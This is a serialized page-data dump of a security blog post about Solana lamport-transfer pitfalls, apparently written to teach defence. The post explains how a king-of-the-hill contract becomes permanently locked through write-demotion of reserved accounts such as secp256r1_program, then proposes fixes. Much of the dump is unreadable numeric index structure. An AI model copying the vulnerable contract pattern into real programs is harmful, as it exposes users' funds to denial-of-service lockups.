ype":29,"value":1018},{"type":23,"tag":75,"props":86644,"children":86645},{"style":104},[86646],{"type":29,"value":36600},{"type":23,"tag":75,"props":86648,"children":86649},{"style":94},[86650],{"type":29,"value":34137},{"type":23,"tag":75,"props":86652,"children":86653},{"style":104},[86654],{"type":29,"value":34142},{"type":23,"tag":75,"props":86656,"children":86657},{"style":94},[86658],{"type":29,"value":1114},{"type":23,"tag":75,"props":86660,"children":86661},{"class":77,"line":303},[86662],{"type":23,"tag":75,"props":86663,"children":86664},{"emptyLinePlaceholder":15},[86665],{"type":29,"value":276},{"type":23,"tag":75,"props":86667,"children":86668},{"class":77,"line":322},[86669,86673,86677],{"type":23,"tag":75,"props":86670,"children":86671},{"style":94},[86672],{"type":29,"value":34344},{"type":23,"tag":75,"props":86674,"children":86675},{"style":82},[86676],{"type":29,"value":14998},{"type":23,"tag":75,"props":86678,"children":86679},{"style":94},[86680],{"type":29,"value":31480},{"type":23,"tag":75,"props":86682,"children":86683},{"class":77,"line":340},[86684,86688,86692,86696,86700,86704,86708],{"type":23,"tag":75,"props":86685,"children":86686},{"style":82},[86687],{"type":29,"value":32061},{"type":23,"tag":75,"props":86689,"children":86690},{"style":110},[86691],{"type":29,"value":53431},{"type":23,"tag":75,"props":86693,"children":86694},{"style":209},[86695],{"type":29,"value":1018},{"type":23,"tag":75,"props":86697,"children":86698},{"style":104},[86699],{"type":29,"value":34373},{"type":23,"tag":75,"props":86701,"children":86702},{"style":94},[86703],{"type":29,"value":34137},{"type":23,"tag":75,"props":86705,"children":86706},{"style":104},[86707],{"type":29,"value":34142},{"type":23,"tag":75,"props":86709,"children":86710},{"style":94},[86711],{"type":29,"value":1114},{"type":23,"tag":75,"props":86713,"children":86714},{"class":77,"line":349},[86715],{"type":23,"tag":75,"props":86716,"children":86717},{"style":94},[86718],{"type":29,"value":369},{"type":23,"tag":32,"props":86720,"children":86721},{},[86722,86724,86730,86732,86738],{"type":29,"value":86723},"This works fine — until one day, ",{"type":23,"tag":71,"props":86725,"children":86727},{"className":86726},[],[86728],{"type":29,"value":86729},"old_king",{"type":29,"value":86731}," is silently demoted. Suddenly, the ",{"type":23,"tag":71,"props":86733,"children":86735},{"className":86734},[],[86736],{"type":29,"value":86737},"#[account(mut)]",{"type":29,"value":86739}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":30116,"props":86741,"children":86743},{"id":86742},"real-world-example-write-demotion-with-secp256r1_program",[86744,86746],{"type":29,"value":86745},"Real-World Example: Write-Demotion with ",{"type":23,"tag":71,"props":86747,"children":86749},{"className":86748},[],[86750],{"type":29,"value":86751},"secp256r1_program",{"type":23,"tag":32,"props":86753,"children":86754},{},[86755,86757,86762],{"type":29,"value":86756},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":71,"props":86758,"children":86760},{"className":86759},[],[86761],{"type":29,"value":86751},{"type":29,"value":86763},", a precompiled program gated behind a feature flag:",{"type":23,"tag":64,"props":86765,"children":86767},{"className":987,"code":86766,"language":986,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[86768],{"type":23,"tag":71,"props":86769,"children":86770},{"__ignoreMap":7},[86771,86792,86812,86841],{"type":23,"tag":75,"props":86772,"children":86773},{"class":77,"line":78},[86774,86779,86783,86788],{"type":23,"tag":75,"props":86775,"children":86776},{"style":104},[86777],{"type":29,"value":86778},"ReservedAccount",{"type":23,"tag":75,"props":86780,"children":86781},{"style":209},[86782],{"type":29,"value":1407},{"type":23,"tag":75,"props":86784,"children":86785},{"style":88},[86786],{"type":29,"value":86787},"new_pending",{"type":23,"tag":75,"props":86789,"children":86790},{"style":94},[86791],{"type":29,"value":97},{"type":23,"tag":75,"props":86793,"children":86794},{"class":77,"line":100},[86795,86800,86804,86808],{"type":23,"tag":75,"props":86796,"children":86797},{"style":94},[86798],{"type":29,"value":86799},"    secp256r1_program",{"type":23,"tag":75,"props":86801,"children":86802},{"style":209},[86803],{"type":29,"value":1407},{"type":23,"tag":75,"props":86805,"children":86806},{"style":88},[86807],{"type":29,"value":14761},{"type":23,"tag":75,"props":86809,"children":86810},{"style":94},[86811],{"type":29,"value":2580},{"type":23,"tag":75,"props":86813,"children":86814},{"class":77,"line":121},[86815,86820,86824,86829,86833,86837],{"type":23,"tag":75,"props":86816,"children":86817},{"style":94},[86818],{"type":29,"value":86819},"    feature_set",{"type":23,"tag":75,"props":86821,"children":86822},{"style":209},[86823],{"type":29,"value":1407},{"type":23,"tag":75,"props":86825,"children":86826},{"style":94},[86827],{"type":29,"value":86828},"enable_secp256r1_precompile",{"type":23,"tag":75,"props":86830,"children":86831},{"style":209},[86832],{"type":29,"value":1407},{"type":23,"tag":75,"props":86834,"children":86835},{"style":88},[86836],{"type":29,"value":14761},{"type":23,"tag":75,"props":86838,"children":86839},{"style":94},[86840],{"type":29,"value":2580},{"type":23,"tag":75,"props":86842,"children":86843},{"class":77,"line":138},[86844],{"type":23,"tag":75,"props":86845,"children":86846},{"style":94},[86847],{"type":29,"value":653},{"type":23,"tag":32,"props":86849,"children":86850},{},[86851,86853,86858,86860,86866],{"type":29,"value":86852},"Before the ",{"type":23,"tag":71,"props":86854,"children":86856},{"className":86855},[],[86857],{"type":29,"value":86828},{"type":29,"value":86859}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":71,"props":86861,"children":86863},{"className":86862},[],[86864],{"type":29,"value":86865},"secp256r1_program::id()",{"type":29,"value":86867}," as the king in a contract.",{"type":23,"tag":32,"props":86869,"children":86870},{},[86871,86873,86878],{"type":29,"value":86872},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":71,"props":86874,"children":86876},{"className":86875},[],[86877],{"type":29,"value":86865},{"type":29,"value":86879}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":30116,"props":86881,"children":86883},{"id":86882},"fix-3-preventing-write-demotion-pitfalls",[86884],{"type":29,"value":86885},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":32,"props":86887,"children":86888},{},[86889,86891,86896],{"type":29,"value":86890},"Alright, let’s try to fix this ",{"type":23,"tag":9690,"props":86892,"children":86893},{},[86894],{"type":29,"value":86895},"yet another",{"type":29,"value":86897}," edge case — and hopefully close the book on it.",{"type":23,"tag":30116,"props":86899,"children":86901},{"id":86900},"attempt-1-block-known-reserved-accounts",[86902],{"type":29,"value":86903},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":32,"props":86905,"children":86906},{},[86907],{"type":29,"value":86908},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":64,"props":86910,"children":86912},{"className":51550,"code":86911,"language":51552,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[86913],{"type":23,"tag":71,"props":86914,"children":86915},{"__ignoreMap":7},[86916,86924],{"type":23,"tag":75,"props":86917,"children":86918},{"class":77,"line":78},[86919],{"type":23,"tag":75,"props":86920,"children":86921},{"style":94},[86922],{"type":29,"value":86923},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":75,"props":86925,"children":86926},{"class":77,"line":100},[86927],{"type":23,"tag":75,"props":86928,"children":86929},{"style":237},[86930],{"type":29,"value":86931},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":32,"props":86933,"children":86934},{},[86935,86937,86942],{"type":29,"value":86936},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":71,"props":86938,"children":86940},{"className":86939},[],[86941],{"type":29,"value":86778},{"type":29,"value":86943}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":30116,"props":86945,"children":86947},{"id":86946},"attempt-2-use-a-pda-vault",[86948],{"type":29,"value":86949},"Attempt 2: Use a PDA Vault",{"type":23,"tag":32,"props":86951,"children":86952},{},[86953,86955,86960],{"type":29,"value":86954},"A more future-proof fix is to avoid ",{"type":23,"tag":16596,"props":86956,"children":86957},{},[86958],{"type":29,"value":86959},"transferring lamports to arbitrary accounts",{"type":29,"value":86961}," altogether.",{"type":23,"tag":32,"props":86963,"children":86964},{},[86965],{"type":29,"value":86966},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":24,"props":86968,"children":86970},{"id":86969},"final-thoughts",[86971],{"type":29,"value":86972},"Final Thoughts",{"type":23,"tag":32,"props":86974,"children":86975},{},[86976],{"type":29,"value":86977},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":32,"props":86979,"children":86980},{},[86981],{"type":29,"value":86982},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":27910,"props":86984,"children":86985},{},[86986,86991,86996],{"type":23,"tag":2801,"props":86987,"children":86988},{},[86989],{"type":29,"value":86990},"It's not executable.",{"type":23,"tag":2801,"props":86992,"children":86993},{},[86994],{"type":29,"value":86995},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":2801,"props":86997,"children":86998},{},[86999],{"type":29,"value":87000},"It's not a reserved account.",{"type":23,"tag":32,"props":87002,"children":87003},{},[87004],{"type":29,"value":87005},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":14130,"props":87007,"children":87008},{},[87009],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":87011},[87012,87013,87014,87020],{"id":26,"depth":100,"text":30},{"id":82395,"depth":100,"text":82398},{"id":83501,"depth":100,"text":83504,"children":87015},[87016,87017,87019],{"id":83507,"depth":121,"text":83510},{"id":84194,"depth":121,"text":87018},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":85499,"depth":121,"text":85502},{"id":86969,"depth":100,"text":86972},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":87025,"isFeatured":15,"onBlogPage":15,"tags":87026,"body":87027,"_type":14157,"_id":14158,"_source":14159,"_file":14160,"_stem":14161,"_extension":14162},{"src":13,"width":14,"height":14},[17,18],{"type":20,"children":87028,"toc":100064},[87029,87033,87037,87041,87045,87049,87053,87057,87296,87745,87761,87765,87769,87773,87777,87781,87809,87817,88302,88318,88328,88332,88336,88340,88566,88570,88577,88587,88943,88947,88951,88979,88987,89387,89403,89407,89423,89439,89455,89483,89493,89503,90118,90140,90148,90563,90585,90601,90605,90621,90661,90669,91824,91846,91850,91854,91858,91874,92146,92174,92349,92353,92357,92391,92399,93543,93784,93794,93798,93826,93830,93888,93892,93908,93924,93934,93950,94602,94606,94610,94632,94640,95481,95503,95507,95523,95527,95537,95699,95709,95793,95797,95804,95812,95958,95962,95978,95985,95989,96374,96384,96388,96422,96432,96448,96750,96754,97663,97673,97680,97684,98665,98669,98679,98695,98711,99592,99638,99740,99750,99754,99758,99780,99788,100006,100028,100038,100048,100052,100056,100060],{"type":23,"tag":24,"props":87030,"children":87031},{"id":26},[87032],{"type":29,"value":30},{"type":23,"tag":32,"props":87034,"children":87035},{},[87036],{"type":29,"value":36},{"type":23,"tag":32,"props":87038,"children":87039},{},[87040],{"type":29,"value":41},{"type":23,"tag":24,"props":87042,"children":87043},{"id":44},[87044],{"type":29,"value":47},{"type":23,"tag":32,"props":87046,"children":87047},{},[87048],{"type":29,"value":52},{"type":23,"tag":32,"props":87050,"children":87051},{},[87052],{"type":29,"value":57},{"type":23,"tag":32,"props":87054,"children":87055},{},[87056],{"type":29,"value":62},{"type":23,"tag":64,"props":87058,"children":87059},{"code":66,"language":67,"meta":7,"className":68,"style":7},[87060],{"type":23,"tag":71,"props":87061,"children":87062},{"__ignoreMap":7},[87063,87078,87093,87108,87127,87154,87173,87196,87215,87222,87241,87256,87271,87278,87289],{"type":23,"tag":75,"props":87064,"children":87065},{"class":77,"line":78},[87066,87070,87074],{"type":23,"tag":75,"props":87067,"children":87068},{"style":82},[87069],{"type":29,"value":85},{"type":23,"tag":75,"props":87071,"children":87072},{"style":88},[87073],{"type":29,"value":91},{"type":23,"tag":75,"props":87075,"children":87076},{"style":94},[87077],{"type":29,"value":97},{"type":23,"tag":75,"props":87079,"children":87080},{"class":77,"line":100},[87081,87085,87089],{"type":23,"tag":75,"props":87082,"children":87083},{"style":104},[87084],{"type":29,"value":107},{"type":23,"tag":75,"props":87086,"children":87087},{"style":110},[87088],{"type":29,"value":113},{"type":23,"tag":75,"props":87090,"children":87091},{"style":94},[87092],{"type":29,"value":118},{"type":23,"tag":75,"props":87094,"children":87095},{"class":77,"line":121},[87096,87100,87104],{"type":23,"tag":75,"props":87097,"children":87098},{"style":104},[87099],{"type":29,"value":107},{"type":23,"tag":75,"props":87101,"children":87102},{"style":110},[87103],{"type":29,"value":131},{"type":23,"tag":75,"props":87105,"children":87106},{"style":94},[87107],{"type":29,"value":118},{"type":23,"tag":75,"props":87109,"children":87110},{"class":77,"line":138},[87111,87115,87119,87123],{"type":23,"tag":75,"props":87112,"children":87113},{"style":104},[87114],{"type":29,"value":107},{"type":23,"tag":75,"props":87116,"children":87117},{"style":94},[87118],{"type":29,"value":148},{"type":23,"tag":75,"props":87120,"children":87121},{"style":82},[87122],{"type":29,"value":153},{"type":23,"tag":75,"props":87124,"children":87125},{"style":110},[87126],{"type":29,"value":158},{"type":23,"tag":75,"props":87128,"children":87129},{"class":77,"line":161},[87130,87134,87138,87142,87146,87150],{"type":23,"tag":75,"props":87131,"children":87132},{"style":94},[87133],{"type":29,"value":167},{"type":23,"tag":75,"props":87135,"children":87136},{"style":82},[87137],{"type":29,"value":172},{"type":23,"tag":75,"props":87139,"children":87140},{"style":175},[87141],{"type":29,"value":178},{"type":23,"tag":75,"props":87143,"children":87144},{"style":94},[87145],{"type":29,"value":183},{"type":23,"tag":75,"props":87147,"children":87148},{"style":104},[87149],{"type":29,"value":188},{"type":23,"tag":75,"props":87151,"children":87152},{"style":94},[87153],{"type":29,"value":193},{"type":23,"tag":75,"props":87155,"children":87156},{"class":77,"line":196},[87157,87161,87165,87169],{"type":23,"tag":75,"props":87158,"children":87159},{"style":104},[87160],{"type":29,"value":107},{"type":23,"tag":75,"props":87162,"children":87163},{"style":94},[87164],{"type":29,"value":206},{"type":23,"tag":75,"props":87166,"children":87167},{"style":209},[87168],{"type":29,"value":212},{"type":23,"tag":75,"props":87170,"children":87171},{"style":94},[87172],{"type":29,"value":217},{"type":23,"tag":75,"props":87174,"children":87175},{"class":77,"line":220},[87176,87180,87184,87188,87192],{"type":23,"tag":75,"props":87177,"children":87178},{"style":104},[87179],{"type":29,"value":107},{"type":23,"tag":75,"props":87181,"children":87182},{"style":94},[87183],{"type":29,"value":230},{"type":23,"tag":75,"props":87185,"children":87186},{"style":209},[87187],{"type":29,"value":212},{"type":23,"tag":75,"props":87189,"children":87190},{"style":237},[87191],{"type":29,"value":240},{"type":23,"tag":75,"props":87193,"children":87194},{"style":94},[87195],{"type":29,"value":245},{"type":23,"tag":75,"props":87197,"children":87198},{"class":77,"line":248},[87199,87203,87207,87211],{"type":23,"tag":75,"props":87200,"children":87201},{"style":104},[87202],{"type":29,"value":107},{"type":23,"tag":75,"props":87204,"children":87205},{"style":94},[87206],{"type":29,"value":258},{"type":23,"tag":75,"props":87208,"children":87209},{"style":209},[87210],{"type":29,"value":212},{"type":23,"tag":75,"props":87212,"children":87213},{"style":94},[87214],{"type":29,"value":267},{"type":23,"tag":75,"props":87216,"children":87217},{"class":77,"line":270},[87218],{"type":23,"tag":75,"props":87219,"children":87220},{"emptyLinePlaceholder":15},[87221],{"type":29,"value":276},{"type":23,"tag":75,"props":87223,"children":87224},{"class":77,"line":279},[87225,87229,87233,87237],{"type":23,"tag":75,"props":87226,"children":87227},{"style":175},[87228],{"type":29,"value":285},{"type":23,"tag":75,"props":87230,"children":87231},{"style":94},[87232],{"type":29,"value":290},{"type":23,"tag":75,"props":87234,"children":87235},{"style":209},[87236],{"type":29,"value":295},{"type":23,"tag":75,"props":87238,"children":87239},{"style":94},[87240],{"type":29,"value":300},{"type":23,"tag":75,"props":87242,"children":87243},{"class":77,"line":303},[87244,87248,87252],{"type":23,"tag":75,"props":87245,"children":87246},{"style":94},[87247],{"type":29,"value":309},{"type":23,"tag":75,"props":87249,"children":87250},{"style":209},[87251],{"type":29,"value":314},{"type":23,"tag":75,"props":87253,"children":87254},{"style":94},[87255],{"type":29,"value":319},{"type":23,"tag":75,"props":87257,"children":87258},{"class":77,"line":322},[87259,87263,87267],{"type":23,"tag":75,"props":87260,"children":87261},{"style":94},[87262],{"type":29,"value":328},{"type":23,"tag":75,"props":87264,"children":87265},{"style":209},[87266],{"type":29,"value":314},{"type":23,"tag":75,"props":87268,"children":87269},{"style":94},[87270],{"type":29,"value":337},{"type":23,"tag":75,"props":87272,"children":87273},{"class":77,"line":340},[87274],{"type":23,"tag":75,"props":87275,"children":87276},{"style":94},[87277],{"type":29,"value":346},{"type":23,"tag":75,"props":87279,"children":87280},{"class":77,"line":349},[87281,87285],{"type":23,"tag":75,"props":87282,"children":87283},{"style":175},[87284],{"type":29,"value":355},{"type":23,"tag":75,"props":87286,"children":87287},{"style":94},[87288],{"type":29,"value":360},{"type":23,"tag":75,"props":87290,"children":87291},{"class":77,"line":363},[87292],{"type":23,"tag":75,"props":87293,"children":87294},{"style":94},[87295],{"type":29,"value":369},{"type":23,"tag":64,"props":87297,"children":87298},{"code":372,"language":373,"meta":7,"className":374,"style":7},[87299],{"type":23,"tag":71,"props":87300,"children":87301},{"__ignoreMap":7},[87302,87321,87332,87343,87358,87365,87372,87391,87402,87409,87416,87447,87470,87489,87516,87543,87586,87657,87692,87699,87738],{"type":23,"tag":75,"props":87303,"children":87304},{"class":77,"line":78},[87305,87309,87313,87317],{"type":23,"tag":75,"props":87306,"children":87307},{"style":82},[87308],{"type":29,"value":386},{"type":23,"tag":75,"props":87310,"children":87311},{"style":104},[87312],{"type":29,"value":391},{"type":23,"tag":75,"props":87314,"children":87315},{"style":82},[87316],{"type":29,"value":396},{"type":23,"tag":75,"props":87318,"children":87319},{"style":94},[87320],{"type":29,"value":401},{"type":23,"tag":75,"props":87322,"children":87323},{"class":77,"line":100},[87324,87328],{"type":23,"tag":75,"props":87325,"children":87326},{"style":110},[87327],{"type":29,"value":409},{"type":23,"tag":75,"props":87329,"children":87330},{"style":104},[87331],{"type":29,"value":414},{"type":23,"tag":75,"props":87333,"children":87334},{"class":77,"line":121},[87335,87339],{"type":23,"tag":75,"props":87336,"children":87337},{"style":110},[87338],{"type":29,"value":422},{"type":23,"tag":75,"props":87340,"children":87341},{"style":104},[87342],{"type":29,"value":414},{"type":23,"tag":75,"props":87344,"children":87345},{"class":77,"line":138},[87346,87350,87354],{"type":23,"tag":75,"props":87347,"children":87348},{"style":110},[87349],{"type":29,"value":434},{"type":23,"tag":75,"props":87351,"children":87352},{"style":94},[87353],{"type":29,"value":439},{"type":23,"tag":75,"props":87355,"children":87356},{"style":104},[87357],{"type":29,"value":444},{"type":23,"tag":75,"props":87359,"children":87360},{"class":77,"line":161},[87361],{"type":23,"tag":75,"props":87362,"children":87363},{"style":94},[87364],{"type":29,"value":369},{"type":23,"tag":75,"props":87366,"children":87367},{"class":77,"line":196},[87368],{"type":23,"tag":75,"props":87369,"children":87370},{"emptyLinePlaceholder":15},[87371],{"type":29,"value":276},{"type":23,"tag":75,"props":87373,"children":87374},{"class":77,"line":220},[87375,87379,87383,87387],{"type":23,"tag":75,"props":87376,"children":87377},{"style":82},[87378],{"type":29,"value":386},{"type":23,"tag":75,"props":87380,"children":87381},{"style":104},[87382],{"type":29,"value":470},{"type":23,"tag":75,"props":87384,"children":87385},{"style":82},[87386],{"type":29,"value":396},{"type":23,"tag":75,"props":87388,"children":87389},{"style":94},[87390],{"type":29,"value":401},{"type":23,"tag":75,"props":87392,"children":87393},{"class":77,"line":248},[87394,87398],{"type":23,"tag":75,"props":87395,"children":87396},{"style":110},[87397],{"type":29,"value":486},{"type":23,"tag":75,"props":87399,"children":87400},{"style":104},[87401],{"type":29,"value":414},{"type":23,"tag":75,"props":87403,"children":87404},{"class":77,"line":270},[87405],{"type":23,"tag":75,"props":87406,"children":87407},{"style":94},[87408],{"type":29,"value":369},{"type":23,"tag":75,"props":87410,"children":87411},{"class":77,"line":279},[87412],{"type":23,"tag":75,"props":87413,"children":87414},{"emptyLinePlaceholder":15},[87415],{"type":29,"value":276},{"type":23,"tag":75,"props":87417,"children":87418},{"class":77,"line":303},[87419,87423,87427,87431,87435,87439,87443],{"type":23,"tag":75,"props":87420,"children":87421},{"style":82},[87422],{"type":29,"value":512},{"type":23,"tag":75,"props":87424,"children":87425},{"style":94},[87426],{"type":29,"value":183},{"type":23,"tag":75,"props":87428,"children":87429},{"style":110},[87430],{"type":29,"value":521},{"type":23,"tag":75,"props":87432,"children":87433},{"style":104},[87434],{"type":29,"value":526},{"type":23,"tag":75,"props":87436,"children":87437},{"style":94},[87438],{"type":29,"value":167},{"type":23,"tag":75,"props":87440,"children":87441},{"style":88},[87442],{"type":29,"value":535},{"type":23,"tag":75,"props":87444,"children":87445},{"style":94},[87446],{"type":29,"value":97},{"type":23,"tag":75,"props":87448,"children":87449},{"class":77,"line":322},[87450,87454,87458,87462,87466],{"type":23,"tag":75,"props":87451,"children":87452},{"style":110},[87453],{"type":29,"value":547},{"type":23,"tag":75,"props":87455,"children":87456},{"style":104},[87457],{"type":29,"value":552},{"type":23,"tag":75,"props":87459,"children":87460},{"style":94},[87461],{"type":29,"value":557},{"type":23,"tag":75,"props":87463,"children":87464},{"style":104},[87465],{"type":29,"value":562},{"type":23,"tag":75,"props":87467,"children":87468},{"style":94},[87469],{"type":29,"value":118},{"type":23,"tag":75,"props":87471,"children":87472},{"class":77,"line":340},[87473,87477,87481,87485],{"type":23,"tag":75,"props":87474,"children":87475},{"style":110},[87476],{"type":29,"value":574},{"type":23,"tag":75,"props":87478,"children":87479},{"style":209},[87480],{"type":29,"value":579},{"type":23,"tag":75,"props":87482,"children":87483},{"style":104},[87484],{"type":29,"value":584},{"type":23,"tag":75,"props":87486,"children":87487},{"style":94},[87488],{"type":29,"value":118},{"type":23,"tag":75,"props":87490,"children":87491},{"class":77,"line":349},[87492,87496,87500,87504,87508,87512],{"type":23,"tag":75,"props":87493,"children":87494},{"style":94},[87495],{"type":29,"value":596},{"type":23,"tag":75,"props":87497,"children":87498},{"style":209},[87499],{"type":29,"value":601},{"type":23,"tag":75,"props":87501,"children":87502},{"style":104},[87503],{"type":29,"value":606},{"type":23,"tag":75,"props":87505,"children":87506},{"style":94},[87507],{"type":29,"value":611},{"type":23,"tag":75,"props":87509,"children":87510},{"style":104},[87511],{"type":29,"value":616},{"type":23,"tag":75,"props":87513,"children":87514},{"style":94},[87515],{"type":29,"value":193},{"type":23,"tag":75,"props":87517,"children":87518},{"class":77,"line":363},[87519,87523,87527,87531,87535,87539],{"type":23,"tag":75,"props":87520,"children":87521},{"style":110},[87522],{"type":29,"value":628},{"type":23,"tag":75,"props":87524,"children":87525},{"style":209},[87526],{"type":29,"value":633},{"type":23,"tag":75,"props":87528,"children":87529},{"style":104},[87530],{"type":29,"value":638},{"type":23,"tag":75,"props":87532,"children":87533},{"style":94},[87534],{"type":29,"value":643},{"type":23,"tag":75,"props":87536,"children":87537},{"style":237},[87538],{"type":29,"value":648},{"type":23,"tag":75,"props":87540,"children":87541},{"style":94},[87542],{"type":29,"value":653},{"type":23,"tag":75,"props":87544,"children":87545},{"class":77,"line":656},[87546,87550,87554,87558,87562,87566,87570,87574,87578,87582],{"type":23,"tag":75,"props":87547,"children":87548},{"style":110},[87549],{"type":29,"value":662},{"type":23,"tag":75,"props":87551,"children":87552},{"style":209},[87553],{"type":29,"value":633},{"type":23,"tag":75,"props":87555,"children":87556},{"style":104},[87557],{"type":29,"value":638},{"type":23,"tag":75,"props":87559,"children":87560},{"style":94},[87561],{"type":29,"value":643},{"type":23,"tag":75,"props":87563,"children":87564},{"style":88},[87565],{"type":29,"value":679},{"type":23,"tag":75,"props":87567,"children":87568},{"style":94},[87569],{"type":29,"value":643},{"type":23,"tag":75,"props":87571,"children":87572},{"style":110},[87573],{"type":29,"value":688},{"type":23,"tag":75,"props":87575,"children":87576},{"style":94},[87577],{"type":29,"value":557},{"type":23,"tag":75,"props":87579,"children":87580},{"style":110},[87581],{"type":29,"value":697},{"type":23,"tag":75,"props":87583,"children":87584},{"style":94},[87585],{"type":29,"value":702},{"type":23,"tag":75,"props":87587,"children":87588},{"class":77,"line":705},[87589,87593,87597,87601,87605,87609,87613,87617,87621,87625,87629,87633,87637,87641,87645,87649,87653],{"type":23,"tag":75,"props":87590,"children":87591},{"style":175},[87592],{"type":29,"value":711},{"type":23,"tag":75,"props":87594,"children":87595},{"style":110},[87596],{"type":29,"value":716},{"type":23,"tag":75,"props":87598,"children":87599},{"style":209},[87600],{"type":29,"value":633},{"type":23,"tag":75,"props":87602,"children":87603},{"style":110},[87604],{"type":29,"value":725},{"type":23,"tag":75,"props":87606,"children":87607},{"style":94},[87608],{"type":29,"value":557},{"type":23,"tag":75,"props":87610,"children":87611},{"style":110},[87612],{"type":29,"value":734},{"type":23,"tag":75,"props":87614,"children":87615},{"style":94},[87616],{"type":29,"value":739},{"type":23,"tag":75,"props":87618,"children":87619},{"style":110},[87620],{"type":29,"value":744},{"type":23,"tag":75,"props":87622,"children":87623},{"style":209},[87624],{"type":29,"value":749},{"type":23,"tag":75,"props":87626,"children":87627},{"style":110},[87628],{"type":29,"value":754},{"type":23,"tag":75,"props":87630,"children":87631},{"style":94},[87632],{"type":29,"value":739},{"type":23,"tag":75,"props":87634,"children":87635},{"style":110},[87636],{"type":29,"value":744},{"type":23,"tag":75,"props":87638,"children":87639},{"style":209},[87640],{"type":29,"value":767},{"type":23,"tag":75,"props":87642,"children":87643},{"style":110},[87644],{"type":29,"value":725},{"type":23,"tag":75,"props":87646,"children":87647},{"style":94},[87648],{"type":29,"value":557},{"type":23,"tag":75,"props":87650,"children":87651},{"style":110},[87652],{"type":29,"value":780},{"type":23,"tag":75,"props":87654,"children":87655},{"style":94},[87656],{"type":29,"value":401},{"type":23,"tag":75,"props":87658,"children":87659},{"class":77,"line":787},[87660,87664,87668,87672,87676,87680,87684,87688],{"type":23,"tag":75,"props":87661,"children":87662},{"style":110},[87663],{"type":29,"value":793},{"type":23,"tag":75,"props":87665,"children":87666},{"style":209},[87667],{"type":29,"value":767},{"type":23,"tag":75,"props":87669,"children":87670},{"style":110},[87671],{"type":29,"value":725},{"type":23,"tag":75,"props":87673,"children":87674},{"style":94},[87675],{"type":29,"value":557},{"type":23,"tag":75,"props":87677,"children":87678},{"style":110},[87679],{"type":29,"value":697},{"type":23,"tag":75,"props":87681,"children":87682},{"style":94},[87683],{"type":29,"value":814},{"type":23,"tag":75,"props":87685,"children":87686},{"style":110},[87687],{"type":29,"value":744},{"type":23,"tag":75,"props":87689,"children":87690},{"style":94},[87691],{"type":29,"value":823},{"type":23,"tag":75,"props":87693,"children":87694},{"class":77,"line":826},[87695],{"type":23,"tag":75,"props":87696,"children":87697},{"style":94},[87698],{"type":29,"value":346},{"type":23,"tag":75,"props":87700,"children":87701},{"class":77,"line":834},[87702,87706,87710,87714,87718,87722,87726,87730,87734],{"type":23,"tag":75,"props":87703,"children":87704},{"style":175},[87705],{"type":29,"value":355},{"type":23,"tag":75,"props":87707,"children":87708},{"style":209},[87709],{"type":29,"value":844},{"type":23,"tag":75,"props":87711,"children":87712},{"style":104},[87713],{"type":29,"value":606},{"type":23,"tag":75,"props":87715,"children":87716},{"style":94},[87717],{"type":29,"value":853},{"type":23,"tag":75,"props":87719,"children":87720},{"style":110},[87721],{"type":29,"value":858},{"type":23,"tag":75,"props":87723,"children":87724},{"style":94},[87725],{"type":29,"value":863},{"type":23,"tag":75,"props":87727,"children":87728},{"style":110},[87729],{"type":29,"value":868},{"type":23,"tag":75,"props":87731,"children":87732},{"style":94},[87733],{"type":29,"value":873},{"type":23,"tag":75,"props":87735,"children":87736},{"style":82},[87737],{"type":29,"value":878},{"type":23,"tag":75,"props":87739,"children":87740},{"class":77,"line":881},[87741],{"type":23,"tag":75,"props":87742,"children":87743},{"style":94},[87744],{"type":29,"value":369},{"type":23,"tag":32,"props":87746,"children":87747},{},[87748,87749,87754,87755,87760],{"type":29,"value":891},{"type":23,"tag":71,"props":87750,"children":87752},{"className":87751},[],[87753],{"type":29,"value":744},{"type":29,"value":898},{"type":23,"tag":71,"props":87756,"children":87758},{"className":87757},[],[87759],{"type":29,"value":904},{"type":29,"value":906},{"type":23,"tag":32,"props":87762,"children":87763},{},[87764],{"type":29,"value":911},{"type":23,"tag":32,"props":87766,"children":87767},{},[87768],{"type":29,"value":916},{"type":23,"tag":32,"props":87770,"children":87771},{},[87772],{"type":29,"value":921},{"type":23,"tag":923,"props":87774,"children":87775},{"id":925},[87776],{"type":29,"value":928},{"type":23,"tag":32,"props":87778,"children":87779},{},[87780],{"type":29,"value":933},{"type":23,"tag":32,"props":87782,"children":87783},{},[87784,87785,87790,87791,87796,87797,87802,87803,87808],{"type":29,"value":938},{"type":23,"tag":940,"props":87786,"children":87788},{"href":942,"rel":87787},[944],[87789],{"type":29,